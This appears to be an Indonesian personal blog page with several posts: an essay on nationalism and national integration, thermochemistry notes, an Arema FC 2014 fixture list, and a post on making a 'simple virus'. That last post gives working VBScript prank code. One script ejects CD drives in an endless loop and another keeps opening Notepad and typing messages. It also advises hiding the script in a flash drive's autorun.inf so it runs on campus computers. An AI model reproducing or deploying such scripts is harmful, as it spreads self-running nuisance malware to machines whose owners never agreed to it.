Saturday, 24 May 2014

meningkatkan nasionalisme dalam integrasi nasional





sahabat blogger,,kali ni saya akan memberikan sedikit cuplikan tentang bagaimana sih cara kita meningkatkan nasionalisme..
di baca saja yaaa...



A.  Latar Belakang Masalah
Saat ini bangsa Indonesia, masih mengalami krisis multidimensi yang menggoncang kehidupan kita. Sebagai salah satu masalah utama dari krisis besar itu adalah ancaman disintegrasi bangsa yang hingga saat ini masih belum mereda. Secara umum integrasi nasional mencerminkan proses persatuan orang-orang dari berbagai wilayah yang berbeda, atau memiliki berbagai perbedaan baik etnisitis, social budaya, atau latar belakang ekonomi, menjadi satu bangsa terutama karena pengalaman sejarah dan politik yang realatif sama. Proses pembentukan persatuan bangsa dengan adanya semboyan Bhineka Tunggal Ika, berbeda-beda tetapi tetap satu jua. Proses integrasi nasional bangsa Indonesai telah dipaparkan dalam dimensi sejarah, sebuah jawaban yang sangat panjang atas pertanyaan “apa yang terjadi dengan proses integrasi nasional kita”. Inti historis jawabnya adalah bahwa kita telah membangun suatu bangsa dan mencapai integrasi nasional.
Harus diakui bahwa kita masih menyimpan banyak masalah yang harus diselesaikan, dan kita meninggalkan luka yang masih menyakitkan pada diri kita sebagai bangsa yang harus kita sembuhkan. Maka dari itu penulis berusaha memaparkan solusi dari permasalahan integrasi nasional, yaitu: masalah pertama adalah membangun kembali integrasi vertikal antara pusat dan daerah, antara elite dan massa yang mengalami distorsi. Kedua membangun integrasi horizontal dibidang social budaya.
B.  Rumusan Masalah
Rumusan masalah makalah ini adalah:
1.    Mengetahui apa dan bagaimana yang dimaksud nasionalisme.
2.    Mengetahui bagaimana yang dimaksud integrasi nasional.
3.    Mengetahui bagaimana pengaruh nasionalisme terhadap integrasi nasional.
4.    Mengetahui upaya apa saja yang dapat dilakukan untuk meningkatkan nasionalisme dan integrasi nasional secara vertical (pemerintah dengan masyarakat) dan integrasi horizontal di masyarakat.

BAB II
Pembahasan
A.  Nasionalisme
1.    Pengertian Nasionalisme
Nasionalisme adalah satu paham yang menciptakan dan mempertahankan kedaulatan sebuah negara (dalam bahasa Inggris nation) dengan mewujudkan satu konsep identitas bersama untuk sekelompok manusia. Menurut Ernest Gellner (1983) nasionalisme adalah prinsip politik, yang berarti bahwa satuan nation harus sejalan dengan satuan politik. Elemen-elemen nasionalisme yang paling penting adalah:
a.    Suatu proses pembentukan, atau pertumbuhan bangsa-bangsa.
b.    Suatu sentimen atau kesadaran memiliki bangsa bersangkutan.
c.    Suatu bahasa dan simbolisme bangsa.
d.   Suatu gerakan sosial dan politik demi bangsa bersangkutan.
e.    Suatu doktrin dan/atau ideologi bangsa, baik yang umum maupun yang khusus.
2.    Beberapa bentuk nasionalisme
Nasionalisme dapat menonjolkan dirinya sebagai sebagian paham negara atau gerakan yang populer berdasarkan pendapat warga negara, etnis, budaya, keagamaan dan ideologi. Kategori tersebut lazimnya berkaitan dan kebanyakan teori nasionalisme mencampuradukkan sebagian atau semua elemen tersebut.
a.    Nasionalisme kewarganegaraan (atau nasionalisme sipil) adalah sejenis nasionalisme dimana negara memperoleh kebenaran politik dari penyertaan aktif rakyatnya, kehendak rakyat; perwakilan politik. Teori ini mula-mula dibangun oleh Jean-Jacques Rousseau dan menjadi bahan-bahan tulisan. Antara tulisan yang terkenal adalah buku berjudul Du Contract Sociale (atau dalam Bahasa Indonesia Mengenai Kontrak Sosial).
b.    Nasionalisme etnis adalah sejenis nasionalisme di mana negara memperoleh kebenaran politik dari budaya asal atau etnis sebuah masyarakat.
c.    Nasionalisme romantik (juga disebut nasionalisme organik, nasionalisme identitas) adalah lanjutan dari nasionalisme etnis dimana negara memperoleh kebenaran politik secara semula jadi (organik) hasil dari bangsa atau ras; menurut semangat romantisme. Nasionalisme romantik adalah bergantung kepada perwujudan budaya etnis yang menepati idealisme romantik; kisah tradisi yang telah direka untuk konsep nasionalisme romantik.
d.   Nasionalisme budaya adalah sejenis nasionalisme dimana negara memperoleh kebenaran politik dari budaya bersama dan bukannya sifat keturunan seperti warna kulit, ras dan sebagainya.
e.    Nasionalisme kenegaraan ialah variasi nasionalisme kewarganegaraan, selalu digabungkan dengan nasionalisme etnis. Perasaan nasionalistik adalah kuat sehingga diberi lebih keutamaan mengatasi hak universal dan kebebasan. Kejayaan suatu negeri itu selalu kontras dan berkonflik dengan prinsip masyarakat demokrasi. Penyelenggaraan sebuah 'national state' adalah suatu argumen yang ulung, seolah-olah membentuk kerajaan yang lebih baik dengan tersendiri.
f.     Nasionalisme agama ialah sejenis nasionalisme dimana negara memperoleh legitimasi politik dari persamaan agama. Walaupun begitu, lazimnya nasionalisme etnis adalah dicampuradukkan dengan nasionalisme keagamaan.
3.    Nasionalisme di Indonesia
Memudarnya rasa kebanggaan bagi bangsa selama beberapa tahun belakangan ini,  sesungguhnya disulut oleh menguatnya sentimen kedaerahan dan semangat  primordialisme pascakrisis. Suatu sikap yang sedikit banyak disebabkan oleh kekecewaan sebagian besar  anggota dan kelompok masyarakat bahwa kesepakatan bersama (contract social) yang mengandung nilai-nilai seperti keadilan dan perikemanusiaan dan musyawarah  kerap hanya menjadi retorika kosong.
Pemberantasan korupsi terhadap para koruptor kelas kakap dan penegakan hukum  dan keadilan yang sebenarnya sebagai sarana strategis untuk membangkitkan  semangat cinta tanah air dalam diri anak-anak bangsa, tetapi semuanya tampak  bohong belaka. Ini membuat generasi sekarang menjadi gamang terhadap bangsa dan
negaranya sendiri. Sehingga di berbagai daerah muncul gerakan-gerakan separatis yang ingin memisahkan daerahnya terhadap negara Indonesia.
Tidak mengherankan semangat solidaritas dan kebersamaan pun terasa semakin  hilang sejak beberapa dekade terakhir. Boleh jadi, penyebab dari memudarnya  rasa nasionalisme ini juga disebabkan oleh karena paradigma tentang bangsa dan  nasionalisme yang kita anut, berjalan di tempat. Nasionalisme Indonesia hanya akan muncul di saat adanya intervensi dari negara lain, seperti Malaysia yang mengaku kebudayaan Indonesia, sementara itu di luar masalah Malaysia tersebut nasionalisme masyarakat Indonesia masih sangat kecil.
B.  Integrasi Nasional di Indonesia
Persatuan dan kesatuan terasa begitu sangat indah. Dilihat dari kata-katanya saja kita bisa membayangkan kehidupan di dalamnya akan sangat penuh dengan kebahagian, ketenangan dan saling bersatu. Inilah yang selalu di dambakan dan diimpikan oleh masyarakat Indonesia sampai saat ini.
Integrasi nasional yang dimaksud disini adalah kesatuan dan persatuan negara. Melihat keadaan dan kondisi dari Indonesia dewasa ini, integrasi nasional tidak bisa diwujudkan dengan mudah atau seperti membalikkan telapak tangan, ini semua disebabkan oleh masyarakat Indonesia itu sendiri.
Di dalam kehidupan bermasyarakat bangsa Indonesia sekarang ini, rasa persatuan dan kesatuan Indonesia bisa dikatakan tidak ada, kita lebih mementingkan kepentingan individu dari pada kepentingan bersama sebagai wujud bahwa kita negara yang benar-benar bersatu.
Contohnya bahwa persatuan dan kesatuan itu tidak ada dapat kita lihat di dalam masyarakat. Paratai-partai politik yang terdapat di Indonesia sangatlah banyak, partai-partai itu saling berebut untuk mendapatkan posisi yang paling tinggi dengan cara apapun, dari sini bisa memicu suatu perkelahian massa yang sangat banyak. Misalnya satu partai melaksanakan kampanye disuatu daerah, kemudian di daerah tersebut pendukung partai ini bisa dikatakan hanya sepertiga dari masyarakat di daerah itu, maka bila ada pendukung partai itu melakukan suatu kegiatan yang dipandang oleh masyarakat sangat tidak menyenangkan maka akan terjadi perkelahian massa yang akan menimbulkan korban.
Tidak hanya itu saja sifat kedaerahan yang kita anut juga sebenarnya adalah penyebab dari tidak terwujudnya rasa persatuan dan kesatuan sebagai satu bangsa di dalam diri kita. Kita hanya selalu membanggakan daerah kita masing-masing, selalu hanya membela daerah kita apabila ada masalah, tapi apabila negara kita dalam masalah kita hanya bisa mengatakan bahwa itu urusan pemerintah, ini yang salah pada diri kita, urusan negara bukan hanya urusan pemerintah tetapi juga merupakan tanggung jawab kita sebagai masyarakat bangsa Indonesia.
Dari uraian-uraian di atas, dapat disimpulkan bahwa nasionalisme yang baik, akan mewujudkan integrasi nasional yang baik pula, begitu juga sebaliknya.

C.  Upaya Meningkatkan Nasionalisme dan Integrasi Nasional
1.    Meningkatkan nasionalisme.
Meningkatkan nasionalisme dengan antisipasi pengaruh negatif globalisasi terhadap nilai nasionalisme. Langkah- langkah untuk mengantisipasi dampak negatif globalisasi terhadap nilai- nilai nasionalisme antara lain yaitu:
1)   Menumbuhkan semangat nasionalisme yang tangguh, misal semangat mencintai produk dalam negeri.
2)   Menanamkan dan mengamalkan nilai- nilai Pancasila dengan sebaik-baiknya.
3)   Menanamkan dan melaksanakan ajaran agama dengan sebaik- baiknya.
4)   Mewujudkan supremasi hukum, menerapkan dan menegakkan hukum dalam arti sebenar- benarnya dan seadil- adilnya.
5)   Selektif terhadap pengaruh globalisasi di bidang politik, ideologi, ekonomi, sosial budaya bangsa.
2.    Meningkatkan integrasi nasional secara vertical (pemerintah dengan masyarakat). Cara-cara yang dapat ditempuh adalah:
a.    Menerapkan rezim terbaikk bagi Indonesia Ramlan Surbakti (1999: 32), yaitu rezim yang sebagaiman terdapat dalam UUD 1945 dan Pancasila. Dimana dalam UUD 1945 dinyatakan 4 tujuan negara yaitu: melindungi seluruh golongan masyarakat dan seluruh tumpah darah Indonesia, mencerdaskan kehidupan bangsa, meningkatkan kesejahteraan rakyat, dan ikut serta menciptakan ketertiban dunia berdasarkan kemerdekaan, keadilan dan perdamaian abadi, dan Pancasila sebagai sumber filsafat  negara yaitu: Ketuhanann Yang Mahaesa, Kemanusiaan yang Adil dan Beradap, persatuan Indonesia, Kerakyatan yang Dipimpin oleh Hikmah ebijaksanaan Permusyawaratan Perwakilan, dan Keadilan Sosial bagi Seluruh Rakyat Indonesia.
Tujuan ini dipandang maksimal jika rezim didukung secara struktural dengan bentuk dan susunan negara (negara republic dan kesatuan), karena struktur pemerintahan cenderung bersifat pembagian kekuasaan daripada pemisahan kekuasaan, dan jaminan atas hak-hak warga negara, seperti menyampaikan pendapat, berasosiasi, beragama, dan kesejahteraan.
b.    Menciptakan kondisi dan membiasakan diri untuk selalu membangun konsensus. Kompromi dan kesepakatan adalah jiwa musyawarah dan sesungguhnya juga demokrasi. Iklim dan budaya yang demikian itu, bagi Indonesia yang amat majemuk, sangat diperlukan. Tentunya, penghormatan dan pengakuan kepada mayoritas dibutuhkan, tetapi sebaliknya perlindungan terhadap minoritas tidak boleh diabaikan. Yang kita tuju adalah harmoni dan hubungan simetris, dan bukan hegemoni. Karena itu, premis yang mengatakan “The minority has its say, the majority has its way” harus kita pahami secara arif dan kontekstual.
c.    Merumuskan kebijakan dan regulasi yang konkret, tegas dan tepat dalam segala aspek kehidupan dan pembangunan bangsa, yang mencerminkan keadilan semua pihak, semua wilayah. Kebijakan otonomi daerah, desentralisasi, keseimbangan pusat daerah, hubungan simetris mayoritas-minoritas, perlindungan kaum minoritas, permberdayaan putra daerah, dan lain-lain pengaturan yang sejenis amat diperlukan. Disisi lain undang-undang dan perangkat regulasi lain yang lebih tegas agar gerakan sparatisme, perlawanan terhadap ideologi negara, dan kejahatan yang berbau SARA tidak berkembang dengan luluasa, harus dapat kita rumuskan dengan jelas.
d.   Upaya bersama dan pembinaan integrasi nasional memerlukan kepemimpinan yang arif dan efektif. Setiap pemimpin di negeri ini, baik formal maupun informal, harus memilikim kepekaan dan kepedulian tinggi serta upaya sungguh-sungguh untuk terus membina dan memantapkan integrasi nasional. Kesalahan yang lazim terjadi, kita sering berbicara tentang kondisi objektif dari kurang kukuhnya integrasi nasional di negeri ini, serta setelah itu “bermimpi” tentang kondisi yang kita tuju (end state), tetapi kita kurang tertarik untuk membicarakan prose dan kerja keras yang harus kita lakukan. Kepemimpinan yang efektif di semua ini akhirnya merupakan faktor penentu yang bisa menciptakan iklim dan langkah bersama untuk mengukuhkan integrasi nasional.
e.    Meningkatkan Intergrasi wilayah Ramlan Surbakti (1999:53),  dengan membentuk kewenangan nasional pusat terhadap wilayah atau daerah politik yang lebih kecil. Indonesia membentuk konsep wilayah yang jelas dalam arti wilayah yang meliputi darat, laut, udara, dan isinya degan ukuran tertentu. Maupun dengan aparat pemerintah dan sarana kekuasaan untuk menjaga danmempertahankan kedaulatan wilayah dari penetrasi luar. Nmun, kenyataannya masih banyak wilayah Indonesia yang kurang mendapatkan perhatian dari pemerintah, sehingga seringkali diaku oleh Negara lain.
4.    Meningkatkan integrasi nasional secara horizontal antar masyarakat Indonesia yang plural. Cara-cara yang dapat ditempuh adalah:
a.    Membangun dan menghidupkan terus komitmen, kesadaran, dan kehendak untuk bersatu. Perjalanan panjang bangsa Indonesia untuk menyatukan dirinya, sebutlah mulai Kebangkitan Nasional 1908, Sumpah Pemuda 1928, Proklamasi Kemerdekaan 1945, dan rangkaian upaya menumpas pemberontakan dan saparatisme, harus terus dilahirkan dalam hati sanubari dan alam pikiran bangsa Indonesia.
b.    Membangun kelembagaan (pranata) di masyarakat yang berakarkan pada nilai dan norma yang menyuburkan persatuan dan kesatuan bangsa tidak memandang perbedaan suku, agama, ras, keturunan, etnis dan perbedaan-perbedaan lainnya yang sebenarnya tidak perlu diperdebatkan. Menyuburkan integrasi nasional tidak hanya dilakukan secara struktural tetapi juga kultural. Pranata di masyarakat kelak harus mampu membangun mekanisme peleraian konflikk (conflict management) guna mencegah kecenderungan langkah-langkah yang represif untuk menyelesaikan konflik.
c.    Meningkatkan integrasi bangsa Ramlan Surbakti (1999: 52), adalah penyatuan berbagai kelompok sosial budaya dalam satu-kesatuan wilayah dan dalam suatu identitas nasional. Diandaikan, masyarakat itu berupa masyarakat majemuk yang meliputi berbagi suku bangsa, ras, dan agama. Di Indoonesia integrasi bangsa diwujudkan dengan a) penghapusan sifat kultural utama dari kelompok minoritas dengan mengembangkan semacam kebudayaan nasional biasanya kebudayaan suku bangsa yang dominan, atau b) dengan pembentukan kesetiaan nasional tanpa menghapuskan kebudayaan kelompok kecil. Negara Indonesia menempuh cara b ini, yakni menangani masalah integrasi bangsa dengan kebudayaan nasional yang dilukiskan sebagai puncak-puncak (hal yang terbaik) dari kebudayaan daerah, tetapi tanpa menghilangkan (bahkan mengembangkan) kebudayaan daerah.
d.   Mengembangkan perilaku integratif di Indonesia Ramlan Surbakti (1999: 55),  dengan upaya bekerja sama dalam organisasi dan berperilaku sesuai dengan cara yang dapat membantu pencapaian tujuan organisasi. Kemampuan individu, kekhasan kelompok, dan perbedaaan pendapat bahkan persaingan sekalipun tidak perlu dipertentangkan dengan kesediaan bekerja sama yang baik. Perilaku integrative dapat diwujudkan dengan mental menghargai akan perbedaan, saling tenggang rasa, gotong royong, kebersamaan, dan lain-lain.
e.    Meningkatkan integrasi nilai di antara masyarakat. Integrasi nilai Ramlan Surbakti (1999: 54), adalah persetujuan bersama mengenai tujuan-tujuan dalam prinsip dasar politik, dan prosedur-prosedur lainnya, dengan kata lain integrasi nilai adalah penciptaan suatu system nilai (ideology nasional) yang dipandang ideal, baik dan adil dengan berbagi kelompk masyarakat. Integrasi nilai Indonesia ada dalam Pancasila dan UUD 1945 sebagai system nilai bersama.



BAB III
Penutup
A.  Kesimpulan
1.    Nasionalisme adalah satu paham yang menciptakan dan mempertahankan kedaulatan sebuah negara (dalam bahasa Inggris nation) dengan mewujudkan satu konsep identitas bersama untuk sekelompok manusia, dan dapat terwujud dalam bentuk nasionalisme kewarganegaraan, nasionalisme etnis, nasionalisme romantic, nasionalisme budaya, nasionalisme kenegaraan, serta nasionalisme agama. Memudarnya rasa kebanggaan bagi bangsa selama beberapa tahun belakangan ini,  sesungguhnya disulut oleh menguatnya sentimen kedaerahan dan semangat  primordialisme pascakrisis. Sehingga di berbagai daerah muncul gerakan-gerakan separatis yang ingin memisahkan daerahnya terhadap negara Indonesia.
2.    Integrasi nasional yang adalah kesatuan dan persatuan negara. Melihat keadaan dan kondisi dari Indonesia dewasa ini, integrasi nasional tidak bisa diwujudkan dengan mudah atau seperti membalikkan telapak tangan, ini semua disebabkan oleh masyarakat Indonesia itu sendiri. Di dalam kehidupan bermasyarakat bangsa Indonesia sekarang ini, rasa persatuan dan kesatuan Indonesia bisa dikatakan sangat kurang, kita lebih mementingkan kepentingan individu dari pada kepentingan bersama sebagai wujud bahwa kita negara yang benar-benar bersatu. Nasionalisme yang baik, akan mewujudkan integrasi nasional yang baik pula, begitu juga sebaliknya.
3.    Upaya yang dapat dilakukan untuk meningkatkan nasionalisme adalah dengan menangkal efek negatif globalisasi, merajut kembali rasa kesatuan bangsa Indonesia tanpa keinginan untuk menonjolkan salah satu kelompok, suku, etnis tertentu. Integrasi nasional akan tumbuh beriring dengan kuatnya nasionalisme. Integrasi nasional dapat dieujudkan melalui integrasi secara vertical (pemerintah dengan masyarakat), dan integrasi nasional horizontal (antar sesama masyarakat).
B.  Saran
Semoga solusi yang dipaparkan dalam makalah ini dapat diaplikasikan sehari-hari oleh masyarakat luas, sehingga tindakan nyata terwujud dan nasionalisme serta integrasi nasional menguat.


Read More ->>

Thursday, 15 May 2014

ilmu kinia-termokimia

Termokimia
1. TERMOKIMIA
Kalor (Q)
Q  = m.c.ΔT
m  = massa
c  = kalor jenis
m.c  = kapasitas kalor
T  = suhu
Kalor Reaksi (ΔH)
Kalor reaksi  = kalor yang diserap (diperlukan) atau dilepaskan (dihasilkan) dalam reaksi.
= perubahan entalpi (ΔH).
2 H2 (g) + O2 (g) —→ 2 H2O(l)  + 136,6 kkal
H1 H2 Q
H1= H2+ Q
H2– H1  = – Q
ΔH  = – Q  = – 136,6 kkal
Disebut reaksi eksoterm (menghasilkan kalor). Biasanya dituliskan:
2 H2 (g) + O2 (g) —→ 2 H2O(l)    ΔH = – 136,6 kkal
Reaksi kebalikannya adalah reaksi endoterm (memerlukan kalor).
2 H2O(l)  —→  2 H2 (g) + O2 (g)   ΔH = + 136,6 kkal
ΔH Pembentukan Standar (ΔHf
0
)
Adalah ΔH untuk membentuk 1 mol suatu senyawa dari unsur-unsur penyusunnya pada keadaan
standar.
C(s)+ O2 (g) —→ CO2 (g)ΔH = – 94,1 kkal
ΔH pembentukan standar CO2 (g) = – 94,1 kkal/mol.
Umumnya dituliskan ΔHf
0
CO2 (g) = – 94,1 kkal/mol.
Jika suatu senyawa tersusun/terbentuk bukan dari unsur-unsur penyusunnya, maka ΔH-nya tidak
sama dengan ΔH pembentukan standar.
CO(g)+ ½ O2 (g) —→ CO2 (g) ΔH = – 26,4 kkal
≠ ΔHf
0
CO2 (g)
CO(g)bukan unsur. Unsur-unsur penyusun CO2 (g) pada keadaan standar adalah C(s)dan O2 (g).
ΔH Penguraian Standar (ΔHd
0
)
Adalah ΔH untuk menguraikan 1 mol suatu senyawa menjadi unsur-unsur penyusunnya pada
keadaan standar.
CO2 (g)—→ C(s)+ O2 (g)   ΔH = + 94,1 kkal
= ΔH penguraian standar CO2 (g)
CO2 (g)—→ CO(g)+ ½ O2 (g)   ΔH = + 26,4 kkal
≠ ΔH penguraian standar CO2 (g)
http://romdhoni.staff.gunadarma.ac.id Page 1
Termokimia
ΔH Pembakaran Standar (ΔHc
0
)
Adalah ΔH dalam pembakaran sempurna 1 mol suatu senyawa pada keadaan standar.
CH4 (g)+ 2 O2 (g) —→ CO2 (g)+ 2 H2O(l)    ΔH = – 212,4 kkal
= ΔH pembakaran CH4 (g)
CH4 (g)+
3
/2O2 (g) —→ CO (g)+ 2 H2O(l)    ΔH = – 135,1 kkal
≠ ΔH pembakaran CH4 (g)
Hukum Laplace (Marquis de Laplace)
ΔH reaksi ke kiri = – ΔH reaksi ke kanan
Sehingga: ΔH penguraian = – ΔH pembentukan
Pada contoh di atas,  ΔH pembentukan standar CO2 (g) = – 94,1 kkal/mol.
ΔH penguraian standar CO2 (g) = – (– 94,1 kkal/mol) = + 94,1 kkal/mol.
Hukum Hess (Germain Hess)
ΔHreaksi tidak bergantung pada jalanya/tahapan reaksi, ΔH reaksi hanya bergantung pada
keadaan awal (sebelum reaksi) dan keadaan akhir (setelah reaksi).
NO(g)+ ½ O2 (g)
ΔH2
= – 56,52 kJ
ΔH1 ΔH2 ΔH1
NO2 (g)
= + 90,37 kJ
ΔH3
ΔH3
= + 33,85 kJ
½ N2 (g) + O2 (g)
½ N2 (g) + ½ O2 (g) —→ NO(g) ΔH1
= + 90,37 kJ
NO(g)+ ½ O2 (g) —→ NO2 (g)  ΔH2
= – 56,52 kJ
—————————————————————————— +
½ N2 (g) + O2 (g) —→ NO2 (g) ΔH3
= + 33,85 kJ
Sesuai hukum Laplace, maka : ΔH penguraian pereaksi = – ΔH pembentukan pereaksi.
Dalam reaksi, dianggap bahwa pereaksi terurai menjadi unsur-unsur penyusunnya. Kemudian
unsur-unsur tersebut bereaksi membentuk produk reaksi.
Jadi  ΔH reaksi  = ∑ ΔH penguraian pereaksi + ∑ ΔH pembentukan produk
= – ∑ ΔH pembentukan pereaksi + ∑ ΔH pembentukan produk
= – ∑ ΔHf
0
pereaksi + ∑ ΔHf
0
produk
= ∑ ΔHf
0
produk – ∑ ΔHf
0
pereaksi
ΔH pembentukan (ΔHf
0
) unsur-unsur bebas adalah nol (ΔH = 0). Contohnya:
N2 (g)  —→ N2 (g) ΔH = 0
O2 (g)  —→ O2 (g) ΔH = 0
C(s) —→ C(s) ΔH = 0
http://romdhoni.staff.gunadarma.ac.id Page 2
Termokimia
Contoh soal:
Diketahui:  ΔH pembentukan C3H8 (g)= – 24,8 kkal/mol.
ΔH pembentukan CO2 (g)= – 94,7 kkal/mol.
ΔH pembentukan H2O(l)= – 68,3 kkal/mol.
Hitunglah berapa ΔH pembakaran C3H8 (g)?
Jawab: reaksinya adalah:
C3H8 (g)+ 5 O2 (g) —→ 3 CO2 (g)+ 4 H2O(l)
ΔH   = [3 ΔHf
0
CO2 (g)+ 4 ΔHf
0
H2O(l)] – [ΔHf
0
C3H8 (g)+ 5 ΔHf
0
O2 (g)]
= [3 x (– 94,7) + 4 x (– 68,3)] – [(– 24,8) + 5 x 0]  = – 532,5 kkal/mol
Cara yang lain, dihitung dengan hukum Hessadalah seperti berikut:
C3H8 (g)  —→ 3 C(s)+ 4 H2 (g) ΔH = + 24,8 kkal
3 C(s)+ 3 O2 (g)   —→ 3 CO2 (g) ΔH = – 94,7 kkal x 3
4 H2 (g) + 2 O2 (g)   —→ 4 H2O(l)    ΔH = – 68,3 kkal x 4
————————————————————————————————— +
C3H8 (g)+ 5 O2 (g) —→ 3 CO2 (g)+ 4 H2O(l) ΔH = – 532,5 kkal
Jadi ΔH pembakaran C3H8 (g)= – 532,5 kkal/mol.
Energi Ikatan
Adalah energi yang diperlukan untuk memutuskan 1 mol ikatan senyawa dalam wujud gas pada
keadaan standar menjadi atom-atom gasnya.
H2 (g) —→ 2 H(g)  ΔH
= + 435 kJ
Energi ikatan H—H = + 435 kJ/mol
CH4 (g) —→ C(g)+ 4 H(g)  ΔH
= + 1 656 kJ
Atau dituliskan:
H

H—C—H —→ C(g)+ 4 H(g)  ΔH
= + 1 656 kJ

H (g)
Energi ikatan C—H = + 1 656 kJ : 4 mol = 414 kJ/mol
Sesuai dengan hukum Laplace, maka:
ΔH pembentukan ikatan  = – ΔH pemutusan ikatan
= – Energi Ikatan
Dalam reaksi gas-gas, dapat dianggap bahwa ikatan dalam pereaksi diputuskan, kemudian atom-atom gasnya akan membentuk ikatan produk reaksi. Sehingga:
ΔH reaksi  = ∑ ΔH pemutusan ikatan pereaksi + ∑ ΔH pembentukan ikatan produk reaksi.
= ∑ ΔH pemutusan ikatan pereaksi – ∑ ΔH pemutusan ikatan produk reaksi.
= ∑ Energi ikatan pereaksi – ∑ Energi ikatan produk reaksi.
http://romdhoni.staff.gunadarma.ac.id Page 3
Termokimia
Contoh soal:
Jika diketahui: energi ikatan N≡N = 946 kJ/mol, energi ikatan N—N = 163 kJ/mol, energi ikatan
N—H = 389 kJ/mol, energi ikatan O—O = 144 kJ/mol, dan energi ikatan O—H = 464 kJ/mol,
maka hitunglah berapa ΔH reaksi berikut: N2H4 (g)+ 2 H2O2 (g)—→ N2 (g)+ 4 H2O(g)
Jawab: reaksinya dapat dituliskan:
H H
│ │
N—N + 2 H—O—O—H (g)—→ N≡N(g)+ 4 H—O—H(g)
│ │
H H (g)
ΔH reaksi  = [( EI N—N ) + ( 4 x EI N—H ) + ( 2 x EI O—O ) + ( 4 x EI O—H )]
– [( EI N≡N ) + ( 8 x EI O—H )]
= [(163) + (4 x 389) + (2 x 144) + (4 x 464)] – [(946) + (8 x 464)]
= – 795 kJ
Catatan: ΔH reaksi yang dapat dihitung dengan energi ikat hanyalah reaksi di mana pereaksi dan
produk reaksinya semuanya berwujud gas.
Proses Spontan dan Tidak Spontan
Proses reaksi dapat berlangsung spontan ataupun tidak spontan. Ciri-cirinya:
Spontan jika: Tidak spontan jika:
ΔH < 0 ΔH > 0
ΔS > 0 ΔS < 0
ΔG < 0 ΔG > 0
H = entalpi = energi yang dikandung dalam sistem
S = entropi = derajad ketidakaturan sistem.
G = energi bebas (energi yang tidak digunakan untuk kerja).
ΔG = ΔH – T . ΔS
SOAL LATIHAN
1. Diketahui: ΔH pembentukan N2H4 (l)= + 50,63 kJ/mol, ΔH pembentukan H2O2 (l)= – 187,78
kJ/mol, ΔH pembentukan H2O(l)= – 285,85 kJ/mol. Hitunglah berapa ΔH reaksi berikut:
N2H4 (l)+ 2 H2O2 (l)→ N2 (g)+ 4 H2O(l)
2. Diketahui: ΔH pembakaran C6H12O6 (s)= – 2820 kJ/mol, ΔH pembakaran C2H5OH(l)= – 1380
kJ/mol. Hitunglah berapa ΔH reaksi berikut: C6H12O6 (s)→  2 C2H5OH(l)+ 2 CO2 (g)
3. Diketahui: Energi Ikat C=C = 611 kJ/mol, Energi Ikat C—C= 347 kJ/mol, Energi Ikat C—H =
414 kJ/mol, Energi Ikat H—H = 435 kJ/mol, ΔH pembentukan C2H6 (g)= – 84,68 kJ/mol, ΔH
pembentukan CO2 (g)= – 393,5 kJ/mol, ΔH pembakaran C2H6 (g)= – 1559,7 kJ/mol.
a) Berapa ΔH reaksi berikut: C2H4 (g)+ H2 (g)→ C2H6 (g)
b) Berapa ΔH pembentukan 2,8 gram C2H4 (g)
c) Berapa ΔH pembakaran 2,8 gram C2H4 (g)
Read More ->>

Tuesday, 8 April 2014

jadwal arema AFC 2014 penyisihan grup

Jadwal AREMA INDONESIA di AFC Cup 2014


25 Feb Selangor FC - AREMA INDONESIA (Away)

11 Mar AREMA INDONESIA - Hanoi T & T (Home)

19 Mar Masiya Maldives - AREMA INDONESIA (Away)

1 Apr AREMA INDONESIA - Masiya Maldives (Home)

9 Apr AREMA INDONESIA - Selangor FC (Home)

23 Apr Hanoi T & T - AREMA INDONESIA (Away)

Read More ->>

Monday, 18 November 2013

cara membuat virus sederhana

tmen" kali ini saya akan berbagi bagaimana sih cara membuat sebuah virus.. ??
mungkin virus ini tidak terlalu berbahaya,namun cukup untuk mengerjai tmen" kalian..
yak kita langsung saja:

buka notpad dan copy skrip berikut:

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count &gt;= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Simpanlah dengan file tadi dengan ekstensi file iseng.vbs ato apapun nama kesukaan asalkan pastikan ekstensinya .vbs, dan jalankan filenya ( Klik 2x), perhatikan CD/DVD ROM akan terbuka/tertutup dengan sendirinya tanpa henti.
Salah satu cara menghentikan aksi Virus Nakal ini ialah dengan menekan tombol CRTL+ALT+DEL dan matikan proses wscripts.exe, Kalo mau keren lagi, masukkan ke file autorun.inf di flashdisk anda, jadi setiap loe colokin ke kompie kampus, maka akan otomatis dijalankan “Virus” Nakal ini.
NB: kl males atau ga tau cara copasnya. download ajah linknya diakhir artikel:
Nah mau script .vbs yang laen lagi?
WScript.Sleep 18000
WScript.Sleep 1000
do
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "H"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "l"
WScript.Sleep 500
WshShell.SendKeys "o"
WScript.Sleep 500
WshShell.SendKeys ". "
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "p"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "K"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "i"
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
wscript.sleep 5000
loop
Scripts diatas nanti otomatis buka notepad dan ketik: Halo. apa kabar? kabar baik?
ingat yah simpan dengan ekstensi nama .vbs, klik file–>save as

Kode Vbs ini akan membuat user terus mengetikkan kata2 “Kamu emang jelek koq!”
Set wshShell = wscript.CreateObject("WScript.Shell")
do
